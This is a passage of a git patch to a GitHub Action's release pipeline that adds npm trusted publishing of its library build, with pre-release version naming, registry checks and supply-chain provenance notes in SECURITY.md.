From 1c5074e95387edf39b531e9468b56a237df6b571 Mon Sep 17 00:00:00 2001 From: Vivswan Shah <58091053+Vivswan@users.noreply.github.com> Date: Sat, 12 Sep 2026 01:29:40 -0400 Subject: [PATCH 1/5] feat(release): carry the library build on the packaged branch and publish to npm Every chain commit on the build branch carries lib/pkg/ (the tsdown library build) beside lib/index.js, minus package.json's prepare script (npm's git fetcher would run it on a github: install), so a packaged sha installs as an npm package straight from GitHub. The two release hooks publish the library through npm trusted publishing: post-green.yml's publish-next publishes each green main commit's build under the next dist-tag as the manifest's next patch plus -main..g; update-release.yml's publish-npm publishes the release's build as the stable version behind the ref verification. No registry token exists anywhere; npm attaches provenance. release-pipeline.ts replaces BUNDLE_FILE with PACKAGED_PATHS. The tree-identity check rebuilds from a packaged commit's own entries under those paths, so the bundle-only chain commits minted before this change stay valid parents and latest targets, while what a run mints and what the confirmation blesses must carry lib/index.js and lib/pkg/index.js. Two subcommands feed the workflows: prerelease-version names the pre-release, and npm-verdict reads the registry's packument (404 is an unpublished package; any other answer, or a body that is not a packument, stops the job) and prints publish or skip: a version already there, a stale retry after newer runs published, or an older release rerun after a newer release never moves next or latest backward; a pre-release latest, the bootstrap's, is taken over by the first release. Both publish jobs share a lossless lane (the managed ci.yml runs main pushes concurrently and the registry has no compare-and-set) and drop scripts.prepare before publishing; npm publish runs with GITHUB_SHA set to the release source so the SLSA predicate names the built commit. publish-next declares no permissions (a called job asking beyond the caller's ceiling fails the call) and skips with a warning when the runner minted no OIDC token. The script stays Node-builtins-only, so the bump is a validated regex. The g prefix on the sha7 keeps npm from rewriting an all-digit sha7 with a leading zero. docs/reference/library.md carries the install forms and the versioning rules for both channels. --- .github/SECURITY.md | 1 + .github/actionlint.yaml | 6 + .github/scripts/release-pipeline.ts | 618 +++++++++++++++---- .github/workflows/post-green.yml | 103 +++- .github/workflows/update-release.yml | 91 ++- AGENTS.md | 2 +- README.md | 2 +- docs/reference/library.md | 42 +- docs/upgrading/README.md | 2 +- test/docs/npm-publish-workflows.test.ts | 467 ++++++++++++++ test/docs/post-green-workflow.test.ts | 175 +++++- test/scripts/release-pipeline.test.ts | 774 +++++++++++++++++++++--- 12 files changed, 2084 insertions(+), 199 deletions(-) create mode 100644 test/docs/npm-publish-workflows.test.ts diff --git a/.github/SECURITY.md b/.github/SECURITY.md index ac36e8010..535e48098 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -14,6 +14,7 @@ This action holds a repository-admin token and writes repository settings, so th - Supply chain. From the `build` branch onward, every ref a `uses:` pin can name - the `vX.Y.Z` release tags, the moving major, and the `latest` tag - points at a packaged commit on that branch: the recorded source commit's tree without its workflows, plus the bundle built from that source by the workflow run named in its provenance message; main carries no executable bundle, and the packaged commits carry no workflows (consumers run the action, never this repository's workflows). The tags cut before the `build` branch existed (v2.0.0 and earlier) point at release commits on main from when main still committed the bundle; nothing re-verifies them, and the release-tags ruleset is what keeps them where they are. The release-tags ruleset freezes version tags for everything except deliberate repository-admin action (the bypass exists for repair; the release workflow itself never moves a version tag, reruns verify the existing one byte-for-byte instead). A packaged commit whose bundle a rebuild of its recorded source's src/ does not reproduce, or whose tree is not that source's minus workflows plus the bundle, is a vulnerability. The release pipeline also attests every release asset (`lib/index.js` and `lib/settings.schema.json`) in one build-provenance attestation while the repository is public (GitHub offers no attestations elsewhere): fetch either from the `vX.Y.Z` tag or the release assets, then check it with `gh attestation verify -R vivswan/github-settings-as-code --signer-workflow Vivswan/repo-platform/.github/workflows/fleet-release-publish.yml` (`-R` names the source repository; the signer is the fleet's publish workflow, the reusable workflow that ci.yml's `publish-release` job calls to run the attest step, and gh requires the signer flag whenever a reusable workflow signed the attestation: with `-R` alone it expects the signer inside this repository and fails), or without the attestations API via `--bundle` against the `attestation.json` release asset. A release finished by hand carries no attestation at all, and a packaged commit appended by hand no workflow-run trailer: both need the workflow's OIDC identity. +- npm provenance. Every version of the `@vivswan/github-settings-as-code` package is published from `ci.yml` through npm trusted publishing (OIDC; the package disallows tokens, so no registry token exists), and npm attaches a provenance attestation naming this repository and workflow to each: `npm audit signatures` in a project that installs it verifies them. The one exception is the bootstrap pre-release that created the package, published by hand once and recognizable by run number 0 in its version (`-main.0.g`). Any other version without an attestation, or one whose attestation names another repository or workflow, is a vulnerability. Fixes ship in the next release and are not backported; upgrade the `uses:` pin to pick them up. diff --git a/.github/actionlint.yaml b/.github/actionlint.yaml index 564b92043..02a3f078a 100644 --- a/.github/actionlint.yaml +++ b/.github/actionlint.yaml @@ -15,3 +15,9 @@ paths: # prior step, and the runnable refs are the release build tags, so # the static existence check is a false positive here. - 'file "lib/index\.js" does not exist' + # The npm publish jobs in post-green.yml and update-release.yml share a + # lane with `queue: max`, which keeps every queued publish instead of + # the one pending job a lane holds by default; actionlint 1.7.12, the + # newest release, does not know the key. Drop this once an actionlint + # release lists `queue` under concurrency and the fleet step runs it. + - 'unexpected key "queue" for "concurrency" section' diff --git a/.github/scripts/release-pipeline.ts b/.github/scripts/release-pipeline.ts index 958fc5e1b..4a16d94f4 100644 --- a/.github/scripts/release-pipeline.ts +++ b/.github/scripts/release-pipeline.ts @@ -3,7 +3,7 @@ * consumer names points at a packaged commit on the `build` branch (the tags cut before that branch existed point * at main commits from when main still committed the bundle). * - * packaged commit = source tree - .github/workflows + the built lib/index.js, `Source: ` trailer + * packaged commit = source tree - .github/workflows - package.json's prepare script + lib/index.js + lib/pkg/, `Source: ` trailer * refs/heads/build root (no parent) -> chain commit -> chain commit ... only ever advances * refs/tags/latest -> the newest source among build's tip, the publishing run's own chain commit, and where latest already points * refs/tags/vX.Y.Z -> the chain commit whose source is the release's merge commit; never moved @@ -13,6 +13,9 @@ * per workflow step: * * advance-build post-green.yml GITHUB_SHA, RUN_URL (optional) + * prerelease-version post-green.yml GITHUB_SHA, GITHUB_RUN_NUMBER + * npm-verdict next post-green.yml GITHUB_SHA, GITHUB_RUN_NUMBER, NPM_REGISTRY_URL (optional) + * npm-verdict stable update-release.yml TAG, GITHUB_SHA, NPM_REGISTRY_URL (optional) * package, retag-major update-release.yml TAG, GITHUB_SHA, RUN_URL (optional, package only) * verify update-release.yml TAG, GITHUB_SHA * anchor update-release-pr.yml GITHUB_SHA @@ -22,12 +25,21 @@ */ import { execFileSync } from "node:child_process"; -import { existsSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { existsSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; const MANIFEST_FILE = ".release-please-manifest.json"; const CONFIG_FILE = "release-please-config.json"; -const BUNDLE_FILE = "lib/index.js"; +/** What a chain commit carries beyond its source: the action bundle and the library build (a directory entry + * stages every file under it). */ +const PACKAGED_PATHS = ["lib/index.js", "lib/pkg/"] as const; +/** What every chain commit ever minted carries: the bundle `uses:` consumers run. */ +const ACTION_BUNDLE = "lib/index.js"; +/** What a ref minted or confirmed HERE must carry as non-empty regular files; the chain commits minted before the + * library rode along carry the bundle alone and stay valid parents. */ +const REQUIRED_BUILT_FILES = [ACTION_BUNDLE, "lib/pkg/index.js"] as const; +/** The packaged paths as the messages name them. */ +const PACKAGED = "lib/index.js and lib/pkg/"; /** No chain commit carries a workflow file: GitHub judges each pushed commit's diff against its parent and refuses a * workflow-file change to a token without the workflows grant. Consumers run the action, not the workflows. * a chain commit against its parent -> no workflow change, so the default GITHUB_TOKEN can push it @@ -150,29 +162,80 @@ function releaseMajor(tag: string): string { return `v${match[1]}`; } -/** A consumable ref must carry the bundle as a non-empty REGULAR file: a symlink or a gitlink at that path has a - * size too, and no bundle. Asserted on every path that mints or blesses a ref. */ -function assertCarriesBundle(cwd: string, treeish: string): { mode: string; blob: string } { - // ls-tree answers a missing path with empty output and exit 0; a failing call (a missing object, a transport - // error) must propagate, never read as "no bundle". - const entry = git(cwd, "ls-tree", "-l", treeish, "--", BUNDLE_FILE); - const [mode = "", , blob = "", size] = entry.split(/\s+/); - const regularFile = mode === "100644" || mode === "100755"; - if (!regularFile || Number(size) === 0) { - const found = entry === "" ? "no entry" : `entry ${entry.split("\t")[0]}`; - throw new Error( - `${treeish} does not carry a non-empty regular-file ${BUNDLE_FILE} (${found}); refusing to point a consumable ref at an unpackaged commit.`, - ); +/** A consumable ref must carry each of `files` as a non-empty REGULAR file: a symlink or a gitlink at that path has + * a size too, and no build. An existing chain commit is held to the action bundle alone (pre-library commits stay + * valid parents); what this run mints or confirms, to the whole required set. */ +function assertCarries(cwd: string, treeish: string, files: readonly string[]): void { + for (const file of files) { + // ls-tree answers a missing path with empty output and exit 0; a failing call (a missing object, a transport + // error) must propagate, never read as "no bundle". + const entry = git(cwd, "ls-tree", "-l", treeish, "--", file); + const [mode = "", , , size] = entry.split(/\s+/); + const regularFile = mode === "100644" || mode === "100755"; + if (!regularFile || Number(size) === 0) { + const found = entry === "" ? "no entry" : `entry ${entry.split("\t")[0]}`; + throw new Error( + `${treeish} does not carry a non-empty regular-file ${file} (${found}); refusing to point a consumable ref at an unpackaged commit.`, + ); + } + } +} + +function isPackagedPath(path: string): boolean { + return PACKAGED_PATHS.some((packaged) => + packaged.endsWith("/") ? path.startsWith(packaged) : path === packaged, + ); +} + +/** Every blob under the packaged paths in a tree, in git's own order. */ +function packagedEntries( + cwd: string, + treeish: string, +): { mode: string; blob: string; path: string }[] { + return git(cwd, "ls-tree", "-r", treeish, "--", ...PACKAGED_PATHS) + .split("\n") + .filter((line) => line !== "") + .map((line) => { + const [meta = "", path = ""] = line.split("\t"); + const [mode = "", , blob = ""] = meta.split(/\s+/); + return { mode, blob, path }; + }); +} + +/** The regular files the build left under the packaged paths in the checkout, as tree paths, sorted. */ +function builtPaths(cwd: string): string[] { + const paths: string[] = []; + const walk = (relative: string): void => { + for (const entry of readdirSync(join(cwd, relative), { withFileTypes: true })) { + const path = `${relative}${entry.name}`; + if (entry.isDirectory()) { + walk(`${path}/`); + } else if (entry.isFile()) { + paths.push(path); + } + } + }; + for (const packaged of PACKAGED_PATHS) { + if (!existsSync(join(cwd, packaged))) { + continue; + } + if (packaged.endsWith("/")) { + walk(packaged); + } else { + paths.push(packaged); + } } - return { mode, blob }; + return paths.sort(); } -/** Assembled in a private index read from sourceSha's tree, so nothing beyond that tree but the bundle can enter and - * the checkout's own index stays untouched. */ +/** Assembled in a private index read from sourceSha's tree, so nothing beyond that tree but the build outputs can + * enter and the checkout's own index stays untouched. `manifest: "source"` keeps package.json as the source has it, + * the shape of the chain commits minted before the prepare strip, which an existing tip is also held against. */ function treePlusBundle( cwd: string, sourceSha: string, - addBundle: (env: Record) => void, + addBuild: (env: Record) => void, + manifest: "stripped" | "source" = "stripped", ): string { const indexFile = join(git(cwd, "rev-parse", "--absolute-git-dir"), "release-pipeline.index"); const env = { GIT_INDEX_FILE: indexFile }; @@ -191,13 +254,41 @@ function treePlusBundle( "--", WORKFLOWS_DIR, ); - addBundle(env); + if (manifest === "stripped") { + const blob = strippedManifestBlob(cwd, sourceSha); + if (blob !== null) { + gitWithEnv(cwd, env, "update-index", "--add", "--cacheinfo", `100644,${blob},${MANIFEST}`); + } + } + addBuild(env); return gitWithEnv(cwd, env, "write-tree"); } finally { rmSync(indexFile, { force: true }); } } +const MANIFEST = "package.json"; + +/** sourceSha's package.json without scripts.prepare, written to the object store; null when the source has no such + * script. npm's git fetcher runs prepare (installing devDependencies first) on a `github:` install whenever the + * script exists, and the packaged commit ships the build already. */ +function strippedManifestBlob(cwd: string, sourceSha: string): string | null { + const text = tryGit(cwd, "show", `${sourceSha}:${MANIFEST}`); + if (text === null) { + return null; + } + const pkg = JSON.parse(text) as { scripts?: Record }; + if (pkg.scripts === undefined || !("prepare" in pkg.scripts)) { + return null; + } + delete pkg.scripts.prepare; + return execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd, + input: `${JSON.stringify(pkg, null, 2)}\n`, + encoding: "utf8", + }).trim(); +} + function workflowPaths(cwd: string, treeish: string): string[] { return git(cwd, "ls-tree", "-r", "--name-only", treeish, "--", WORKFLOWS_DIR) .split("\n") @@ -213,17 +304,30 @@ function assertPackages( ref: string, remedy: string, ): void { - const { mode, blob } = assertCarriesBundle(cwd, packaged); - const expected = treePlusBundle(cwd, source, (env) => - gitWithEnv(cwd, env, "update-index", "--add", "--cacheinfo", `${mode},${blob},${BUNDLE_FILE}`), - ); + assertCarries(cwd, packaged, [ACTION_BUNDLE]); + const entries = packagedEntries(cwd, packaged); + const stage = (env: Record): void => { + for (const { mode, blob, path } of entries) { + gitWithEnv(cwd, env, "update-index", "--add", "--cacheinfo", `${mode},${blob},${path}`); + } + }; + const expected = treePlusBundle(cwd, source, stage); const actual = git(cwd, "rev-parse", `${packaged}^{tree}`); - if (actual !== expected) { - // An unchanged workflow file never shows in the diff against the source, so every workflow path still in the tree is listed as kept. + // The chain commits minted before the prepare strip carry the source's package.json as is; they stay valid parents + // and latest targets. + if (actual !== expected && actual !== treePlusBundle(cwd, source, stage, "source")) { + // An unchanged workflow file never shows in the diff against the source, so every workflow path still in the tree + // is listed as kept; package.json is listed unless it is exactly the source's minus the prepare script. + const stripped = strippedManifestBlob(cwd, source); + const manifestBlob = tryGit(cwd, "rev-parse", `${packaged}:${MANIFEST}`); const changed = git(cwd, "diff", "--no-renames", "--name-only", source, packaged) .split("\n") .filter( - (path) => path !== "" && path !== BUNDLE_FILE && !path.startsWith(`${WORKFLOWS_DIR}/`), + (path) => + path !== "" && + !isPackagedPath(path) && + !path.startsWith(`${WORKFLOWS_DIR}/`) && + !(path === MANIFEST && stripped !== null && manifestBlob === stripped), ) .concat(workflowPaths(cwd, packaged).map((path) => `${path} (kept)`)); const listed = @@ -231,32 +335,34 @@ function assertPackages( ? "none (an entry a path diff cannot list, such as an empty subtree)" : changed.join(", "); throw new Error( - `${ref} is not ${source} plus ${BUNDLE_FILE} and the removal of ${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ${source}: ${listed}); ${remedy}`, + `${ref} is not ${source} plus ${PACKAGED}, minus ${MANIFEST}'s prepare script, and the removal of ${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ${source}: ${listed}); ${remedy}`, ); } } -/** The checkout must BE sourceSha with a clean worktree: that is what makes the bundle a build of that source rather - * than of a by-hand edit. The bundle itself is gitignored, so it never shows as pending. */ +/** The checkout must BE sourceSha with a clean worktree: that is what makes the build outputs a build of that source + * rather than of a by-hand edit. They are gitignored, so they never show as pending. */ function packagedTree(cwd: string, sourceSha: string): string { const head = git(cwd, "rev-parse", "HEAD"); if (head !== sourceSha) { throw new Error(`the checkout is at ${head}, not the source commit ${sourceSha} to package.`); } - if (!existsSync(join(cwd, BUNDLE_FILE))) { - throw new Error(`${BUNDLE_FILE} is not built; run the build before packaging.`); + for (const file of REQUIRED_BUILT_FILES) { + if (!existsSync(join(cwd, file))) { + throw new Error(`${file} is not built; run the build before packaging.`); + } } const dirty = git(cwd, "status", "--porcelain").split("\n").filter(Boolean); if (dirty.length > 0) { throw new Error( - `the worktree has pending changes beyond ${BUNDLE_FILE} (${dirty.join("; ")}); the bundle must be a build of ${sourceSha} alone - commit, stash, or clean them first.`, + `the worktree has pending changes beyond ${PACKAGED} (${dirty.join("; ")}); the build must be a build of ${sourceSha} alone - commit, stash, or clean them first.`, ); } - // -f: main gitignores the bundle + // -f: main gitignores the build outputs const tree = treePlusBundle(cwd, sourceSha, (env) => - gitWithEnv(cwd, env, "add", "-f", BUNDLE_FILE), + gitWithEnv(cwd, env, "add", "-f", "--", ...PACKAGED_PATHS), ); - assertCarriesBundle(cwd, tree); + assertCarries(cwd, tree, REQUIRED_BUILT_FILES); const leaked = workflowPaths(cwd, tree); if (leaked.length > 0) { throw new Error( @@ -364,7 +470,7 @@ function assertSameBuild(cwd: string, packaged: string, sourceSha: string, tree: throw new Error( `${BUILD_REF} holds ${packaged}, which names ${sourceSha} as its source but its tree ` + `${packagedTree} is not the tree ${tree} this checkout's build of ${sourceSha} packages, ` + - `so the two differ in their ${BUNDLE_FILE} entry (bytes or file mode): either the commit ` + + `so the two differ under ${PACKAGED} (bytes, file modes, or the files under lib/pkg/): either the commit ` + "was not built from this source or the build is not reproducible, and the Source trailer " + "cannot tell those apart. Diff the two trees by hand; a hand-pushed commit is left for the " + "next green push to bury (the ruleset on build forbids moving it back), a build that " + @@ -423,10 +529,10 @@ export function packageRelease(options: PackageOptions): PackagedRelease { releaseMajor(tag); const tree = packagedTree(cwd, sourceSha); // A hand recovery with the wrong TAG, or a draft pointing at the wrong commit, must stop before an immutable tag is minted. - const manifest = JSON.parse(git(cwd, "show", `HEAD:${MANIFEST_FILE}`)) as Record; - if (tag !== `v${manifest["."]}`) { + const manifest = manifestVersionAt(cwd, "HEAD"); + if (tag !== `v${manifest}`) { throw new Error( - `tag ${tag} does not match the manifest version ${JSON.stringify(manifest["."])} at ${sourceSha}; refusing to package a version this source did not release.`, + `tag ${tag} does not match the manifest version ${JSON.stringify(manifest)} at ${sourceSha}; refusing to package a version this source did not release.`, ); } const mainHead = fetchMainHead(cwd); @@ -474,8 +580,8 @@ export function packageRelease(options: PackageOptions): PackagedRelease { return { created: true, packagedSha, latestSha: latest.sha }; } -/** An existing tag is trusted only as THIS source's package. A planted commit that keeps the expected bundle but - * edits action.yml fails the tree check; one whose bundle differs from the fresh build fails the byte check. */ +/** An existing tag is trusted only as THIS source's package. A planted commit that keeps the expected build outputs + * but edits action.yml fails the tree check; one whose files or bytes differ from the fresh build fails the byte check. */ function verifyPackagedTag(cwd: string, tag: string, sourceSha: string): string { const frozen = "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand."; @@ -487,12 +593,23 @@ function verifyPackagedTag(cwd: string, tag: string, sourceSha: string): string ); } assertPackages(cwd, packagedSha, sourceSha, `refs/tags/${tag} (${packagedSha})`, frozen); - const tagged = gitBytes(cwd, "show", `${packagedSha}:${BUNDLE_FILE}`); - if (!tagged.equals(readFileSync(join(cwd, BUNDLE_FILE)))) { + const tagged = packagedEntries(cwd, packagedSha) + .map((entry) => entry.path) + .sort(); + const built = builtPaths(cwd); + if (tagged.join("\n") !== built.join("\n")) { throw new Error( - `refs/tags/${tag} carries a ${BUNDLE_FILE} that is not a build of ${sourceSha}'s source; ${frozen}`, + `refs/tags/${tag} carries [${tagged.join(", ")}] under ${PACKAGED}, while this build of ${sourceSha} produced [${built.join(", ")}]; ${frozen}`, ); } + for (const path of built) { + const taggedBytes = gitBytes(cwd, "show", `${packagedSha}:${path}`); + if (!taggedBytes.equals(readFileSync(join(cwd, path)))) { + throw new Error( + `refs/tags/${tag} carries a ${path} that is not a build of ${sourceSha}'s source; ${frozen}`, + ); + } + } assertOnChain(cwd, packagedSha, `refs/tags/${tag} (${packagedSha})`, frozen); return packagedSha; } @@ -603,6 +720,7 @@ export function verifyPublishedRefs(options: VerifyOptions): { const frozen = "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand."; assertPackages(cwd, packagedSha, sourceSha, `origin's refs/tags/${tag} (${packagedSha})`, frozen); + assertCarries(cwd, packagedSha, REQUIRED_BUILT_FILES); assertOnChain(cwd, packagedSha, `origin's refs/tags/${tag} (${packagedSha})`, frozen); const majorSha = git(cwd, "rev-parse", `refs/verify/${major}^{}`); if (majorSha !== packagedSha) { @@ -981,9 +1099,273 @@ function packages(cwd: string, packaged: string, source: string): boolean { } } -if (import.meta.main) { +/** The manifest's version at a commit: what release-please last released, or is about to. */ +function manifestVersionAt(cwd: string, treeish: string): string { + const manifest = JSON.parse(git(cwd, "show", `${treeish}:${MANIFEST_FILE}`)) as Record< + string, + unknown + >; + return String(manifest["."]); +} + +/** + * The npm version a green main commit's library build publishes under the + * `next` dist-tag: the manifest version's next patch, then a pre-release + * suffix of the workflow run number and the source's short sha. That sorts + * above the last release, below the next one whatever its bump, forward + * across runs (run numbers only grow), and once per run. The sha carries a + * `g` prefix, as git describe writes it: npm reads an all-digit identifier + * as a number and drops its leading zero, so a bare sha7 such as 0123456 + * would be rewritten to 123456 and name no commit. + */ +export function prereleaseVersion( + manifestVersion: string, + runNumber: string, + sourceSha: string, +): string { + const version = manifestVersion.match(/^(\d+)\.(\d+)\.(\d+)$/); + if (!version) { + throw new Error( + `the manifest version ${JSON.stringify(manifestVersion)} is not X.Y.Z; refusing to derive a pre-release version from it.`, + ); + } + if (!/^(0|[1-9]\d*)$/.test(runNumber)) { + throw new Error( + `the run number ${JSON.stringify(runNumber)} is not a decimal integer; refusing to mint a pre-release version from it.`, + ); + } + if (!/^[0-9a-f]{40}$/.test(sourceSha)) { + throw new Error( + `the source ${JSON.stringify(sourceSha)} is not a full commit sha; refusing to mint a pre-release version from it.`, + ); + } + const [, major, minor, patch] = version; + return `${major}.${minor}.${Number(patch) + 1}-main.${runNumber}.g${sourceSha.slice(0, 7)}`; +} + +export interface PrereleaseVersionOptions { + cwd: string; + /** The green main commit this run judged; the checkout must be at it. */ + sourceSha: string; + /** The workflow run number, the pre-release's forward-moving component. */ + runNumber: string; +} + +/** prereleaseVersion for the checkout: the manifest is read at sourceSha, which HEAD must be. */ +export function prereleaseVersionOf(options: PrereleaseVersionOptions): string { + const { cwd, sourceSha, runNumber } = options; + const head = git(cwd, "rev-parse", "HEAD"); + if (head !== sourceSha) { + throw new Error( + `the checkout is at ${head}, not the source commit ${sourceSha} whose build is published.`, + ); + } + return prereleaseVersion(manifestVersionAt(cwd, sourceSha), runNumber, sourceSha); +} + +/** A version this pipeline mints, parsed for ordering: a release, or a pre-release of one. */ +interface MintedVersion { + release: [number, number, number]; + pre: { run: number; sha: string } | null; +} + +/** The two version shapes this pipeline mints; anything else (a hand-published + * 2.0.1-beta.1 the registry now holds) stops the run rather than being guessed at. */ +function parseMinted(version: string): MintedVersion { + const match = version.match(/^(\d+)\.(\d+)\.(\d+)(?:-main\.(0|[1-9]\d*)\.g([0-9a-f]{7}))?$/); + if (!match) { + throw new Error( + `${JSON.stringify(version)} is not a version this pipeline mints (X.Y.Z or X.Y.Z-main..g); refusing to order it.`, + ); + } + const [, major = "", minor = "", patch = "", run, sha = ""] = match; + return { + release: [Number(major), Number(minor), Number(patch)], + pre: run === undefined ? null : { run: Number(run), sha }, + }; +} + +/** + * How npm orders two minted versions: by release first; a pre-release sorts + * below its own release; pre-releases of one release sort by run number, then + * by the sha as npm compares identifiers (lexically). + */ +export function versionOrder(a: string, b: string): "newer" | "same" | "older" { + const left = parseMinted(a); + const right = parseMinted(b); + for (let i = 0; i < 3; i++) { + const l = left.release[i] ?? 0; + const r = right.release[i] ?? 0; + if (l !== r) { + return l > r ? "newer" : "older"; + } + } + if (left.pre === null || right.pre === null) { + if (left.pre === right.pre) { + return "same"; + } + return left.pre === null ? "newer" : "older"; + } + if (left.pre.run !== right.pre.run) { + return left.pre.run > right.pre.run ? "newer" : "older"; + } + if (left.pre.sha === right.pre.sha) { + return "same"; + } + return left.pre.sha > right.pre.sha ? "newer" : "older"; +} + +/** What the registry holds for the package: every published version, and where each dist-tag points. */ +export interface Packument { + versions: Record; + "dist-tags": Record; +} + +export type PublishVerdict = + | { publish: true; version: string } + | { publish: false; version: string; reason: string }; + +/** + * Both dist-tags are consulted, not only `next`: `npm publish --tag next` + * moves next to whatever it publishes, so a stale run's version must be newer + * than what next AND latest name, or next would step back behind a release. + * Null is a package the registry has never seen: the bootstrap publishes. + */ +export function nextPublishVerdict(version: string, packument: Packument | null): PublishVerdict { + if (packument === null) { + return { publish: true, version }; + } + if (version in packument.versions) { + return { publish: false, version, reason: `${version} is already on the registry` }; + } + for (const tag of ["next", "latest"]) { + const current = packument["dist-tags"][tag]; + if (current !== undefined && versionOrder(version, current) !== "newer") { + return { + publish: false, + version, + reason: `the registry's ${tag} is ${current}, not older than ${version}, so this stale run publishes nothing (npm publish --tag next would move next back)`, + }; + } + } + return { publish: true, version }; +} + +/** + * Only `latest` is consulted: a plain `npm publish` moves latest and leaves + * next alone, and a release is meant to sort below the pre-releases that + * followed its merge (the merge commit's own run publishes the next patch's + * pre-release before this job runs). + */ +export function stablePublishVerdict(version: string, packument: Packument | null): PublishVerdict { + if (packument === null) { + return { publish: true, version }; + } + if (version in packument.versions) { + return { publish: false, version, reason: `${version} is already on the registry` }; + } + const latest = packument["dist-tags"].latest; + // A pre-release latest is what a package's FIRST publish leaves behind + // (npm tags a first publish latest whatever tag it asked for): the hand + // bootstrap after a release merged before the owner's setup. A release + // must take latest over from it, so only a newer RELEASE holds one back. + if ( + latest !== undefined && + parseMinted(latest).pre === null && + versionOrder(version, latest) === "older" + ) { + return { + publish: false, + version, + reason: `the registry's latest is ${latest}, newer than ${version}, so this rerun of an older release publishes nothing (npm publish would move latest back)`, + }; + } + return { publish: true, version }; +} + +/** The registry's record of `name`, or null while it has never been published; any other answer than 200 or 404 throws. */ +async function fetchPackument(registry: string, name: string): Promise { + const url = `${registry.replace(/\/$/, "")}/${name.replaceAll("/", "%2F")}`; + const response = await fetch(url, { headers: { accept: "application/json" } }); + if (response.status === 404) { + return null; + } + if (!response.ok) { + throw new Error( + `the registry answered ${response.status} for ${name} (${url}); refusing to publish without knowing what it holds.`, + ); + } + const body: unknown = await response.json(); + const record = (value: unknown): value is Record => + typeof value === "object" && value !== null && !Array.isArray(value); + if (!record(body) || !record(body.versions) || !record(body["dist-tags"])) { + throw new Error( + `the registry's record of ${name} (${url}) is not a packument (an object with versions and dist-tags records); refusing to publish without knowing what it holds.`, + ); + } + const tags = body["dist-tags"]; + for (const [tag, value] of Object.entries(tags)) { + if (typeof value !== "string") { + throw new Error( + `the registry's record of ${name} names dist-tag ${tag} as ${JSON.stringify(value)}, not a version; refusing to publish without knowing what it holds.`, + ); + } + } + return { versions: body.versions, "dist-tags": tags as Record }; +} + +function packageFieldAt(cwd: string, treeish: string, field: "name" | "version"): string { + const pkg = JSON.parse(git(cwd, "show", `${treeish}:package.json`)) as Record; + return String(pkg[field]); +} + +/** The version npm publishes for a release: package.json's, which must be the + * tag's (the hook held the manifest to the tag; package.json is a separate file + * release-please rewrites, and it is the one npm reads). */ +function releaseVersionAt(cwd: string, treeish: string, tag: string): string { + const version = packageFieldAt(cwd, treeish, "version"); + if (`v${version}` !== tag) { + throw new Error( + `package.json at the release source is version ${version}, but the release tag is ${tag}; refusing to publish a version this source did not release.`, + ); + } + return version; +} + +export type NpmVerdictOptions = { + cwd: string; + /** The commit whose build is published; the checkout must be at it. */ + sourceSha: string; + /** The registry's base URL, where the package's record is read. */ + registry: string; +} & ({ channel: "next"; runNumber: string } | { channel: "stable"; tag: string }); + +/** The publish decision for the checkout, against what the registry holds. + * The version is settled before the registry is asked, so a checkout that + * cannot name one stops without a request. */ +export async function npmVerdict(options: NpmVerdictOptions): Promise { + const { cwd, sourceSha, registry } = options; + const head = git(cwd, "rev-parse", "HEAD"); + if (head !== sourceSha) { + throw new Error( + `the checkout is at ${head}, not the source commit ${sourceSha} whose build is published.`, + ); + } + const version = + options.channel === "next" + ? prereleaseVersion(manifestVersionAt(cwd, "HEAD"), options.runNumber, sourceSha) + : releaseVersionAt(cwd, "HEAD", options.tag); + const packument = await fetchPackument(registry, packageFieldAt(cwd, "HEAD", "name")); + return options.channel === "next" + ? nextPublishVerdict(version, packument) + : stablePublishVerdict(version, packument); +} + +const DEFAULT_REGISTRY = "https://registry.npmjs.org"; + +async function main(): Promise { const cwd = process.cwd(); - const [command] = process.argv.slice(2); + const [command, argument] = process.argv.slice(2); const env = (name: string): string => { const value = process.env[name]; if (value === undefined || value === "") { @@ -991,67 +1373,97 @@ if (import.meta.main) { } return value; }; - try { - switch (command) { - case "package": { - const result = packageRelease({ - cwd, - tag: env("TAG"), - sourceSha: env("GITHUB_SHA"), - runUrl: process.env.RUN_URL, - }); - console.error( - result.created - ? `created ${env("TAG")} on chain commit ${result.packagedSha}; latest at ${result.latestSha}` - : `${env("TAG")} already packages this source at ${result.packagedSha}`, - ); - break; - } - case "retag-major": { - const result = retagMajor({ cwd, tag: env("TAG"), sourceSha: env("GITHUB_SHA") }); - console.error(`moved ${result.major} to ${result.packagedSha}`); - break; - } - case "verify": { - const result = verifyPublishedRefs({ cwd, tag: env("TAG"), sourceSha: env("GITHUB_SHA") }); - console.error( - `origin's ${env("TAG")} and ${result.major} both point at packaged commit ${result.packagedSha}, whose tree carries lib/index.js`, - ); - break; - } - case "anchor": { - const result = anchorReleasePr({ cwd, sourceSha: env("GITHUB_SHA") }); - console.error(result.reason); - break; - } - case "boundary-check": { - const result = boundaryCheck(cwd); - console.error(`boundary is fresh: ${result.boundary}`); - break; - } - case "anchor-check": { - const result = anchorCheck(cwd); - console.error(`the release PR carries this cycle's anchor: ${result.boundary}`); - break; - } - case "advance-build": { - const result = advanceBuild({ + switch (command) { + case "package": { + const result = packageRelease({ + cwd, + tag: env("TAG"), + sourceSha: env("GITHUB_SHA"), + runUrl: process.env.RUN_URL, + }); + console.error( + result.created + ? `created ${env("TAG")} on chain commit ${result.packagedSha}; latest at ${result.latestSha}` + : `${env("TAG")} already packages this source at ${result.packagedSha}`, + ); + break; + } + case "retag-major": { + const result = retagMajor({ cwd, tag: env("TAG"), sourceSha: env("GITHUB_SHA") }); + console.error(`moved ${result.major} to ${result.packagedSha}`); + break; + } + case "verify": { + const result = verifyPublishedRefs({ cwd, tag: env("TAG"), sourceSha: env("GITHUB_SHA") }); + console.error( + `origin's ${env("TAG")} and ${result.major} both point at packaged commit ${result.packagedSha}, whose tree carries ${PACKAGED}`, + ); + break; + } + case "anchor": { + const result = anchorReleasePr({ cwd, sourceSha: env("GITHUB_SHA") }); + console.error(result.reason); + break; + } + case "boundary-check": { + const result = boundaryCheck(cwd); + console.error(`boundary is fresh: 